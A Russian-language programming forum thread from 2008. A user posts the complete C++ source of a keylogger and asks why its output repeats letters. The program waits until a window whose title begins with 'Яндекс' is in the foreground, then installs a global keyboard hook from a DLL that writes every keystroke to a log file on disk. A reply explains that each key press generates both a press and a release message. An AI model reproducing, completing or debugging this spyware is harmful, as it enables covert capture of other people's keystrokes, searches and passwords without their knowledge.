В чем ошибка с клавиатурным шпионом

Тема в разделе "MS Visual C++", создана пользователем Andreyspb, 19 июн 2008.

  1. Andreyspb

    Andreyspb Гость

    Написал шпиона на С++, который ищет, открыто ли окно, в котором пресудствует слово Яндекс, и если онон активно, то пишет данные, которые пользователь водит на клавиатуре в файл. В итоге получается, что каждая буква повотряется много раз. В чем ошибка, подскажите если кто знает.

    Текст исполняемой программы:
    [codebox]//chpion.cpp
    //--------------------------
    #include <vcl.h>
    #include <condefs.h>
    #include <winuser.h>
    #include <winbase.h>
    #include <stdio.h>
    //---------------------------------------------------------------------------
    HHOOK hook; // Handle нашей "шпионской" функции
    void Registry(void);
    //---------------------------------------------------------------------------
    WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
    {
    // Объявляем тип функции;
    typedef int (CALLBACK* lpfn)();
    lpfn hookfunc; // Конкретный указатель на функцию
    // Открываем DLL
    HINSTANCE hDLL=LoadLibrary("dllhook.dll");
    // Находим в ней адрес функции, которая и будет шпионить за клавой
    hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc") ;
    HINSTANCE hINSTAGE;
    while (1)
    {
    //Запускаем цикл.
    int sl,ll;
    ll=1;
    sl=2;
    //переменные для счетчика.
    char st[128];
    HWND hw;
    //Идем самым простым путем - сравниваем посимвольно строки: полученный заголовок окна и с нужном нам строкой.
    while (ll!=sl)
    {
    // Функция GetForegroundWindow возвращает значение дескриптора приоритетного окна (окна, с которым пользователь в настоящее время работает).
    hw=GetForegroundWindow();
    //Функция GetWindowText предназначена для получения заголовка окна
    GetWindowText(hw,st,128);// читаем активное на данный момент окно.
    char stt[128]="Яндекс";
    //находим длинну строки, которую ы указали для шаблона
    sl=strlen(stt);
    ll=0;
    while (stt[ll]==st[ll])
    //cравниваем посимвольно строки
    //это удобнее делать с той позиции, что будет проверяться, вхордит ли нужная
    //нам строка как часть в другую строку, можно сделать подобие //широкого фильтра.
    {
    ll++;
    }
    if (ll==sl)
    {
    //если строки совпадают до конца 1-ой строки -
    break; //прерываем процесс
    }
    }
    // Запускаем шпиона
    hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
    hookfunc, /* функция, которая шпионит */
    LoadLibrary("dllhook.dll"), /* её DLL */
    0 /* Шпионить за всеми потоками в системе*/ );
    }
    }


    ТЕКСТ DLL'ки:
    #include <vcl.h>
    #include <winuser.h>
    #include <stdio.h>
    #pragma hdrstop
    //--------------------------
    extern "C" __declspec(dllexport) LRESULT CALLBACK
    KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
    //--------------------------
    // "Шпионская" функция
    //--------------------------
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
    {
    FILE *f;
    if((f=fopen("c:\\logfile.log","a"))!=NULL)
    {
    char codeklav=MapVirtualKey(wParam,2);
    fprintf(f,"%c",codeklav);
    fclose(f);
    }
    return CallNextHookEx(NULL, code, wParam, lParam);
    }
    int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
    {
    return 1;
    }[/codebox]
     
  2. Ockonal

    Ockonal Гость

    Я код не смотрел, но уверен... Что ошибка из-за этого:
    При нажатии клавиши генерируется 2 сообщения, нажатия и отпускания... Поэтому 2 раза вводится
     
Загрузка...
Похожие Темы - чем ошибка клавиатурным
  1. rn3rjd
    Ответов:
    4
    Просмотров:
    864
  2. IvendsI
    Ответов:
    2
    Просмотров:
    1.182
  3. rainprogrammer
    Ответов:
    3
    Просмотров:
    1.170
  4. dimat
    Ответов:
    2
    Просмотров:
    1.850
  5. Kuklus
    Ответов:
    0
    Просмотров:
    20

Поделиться этой страницей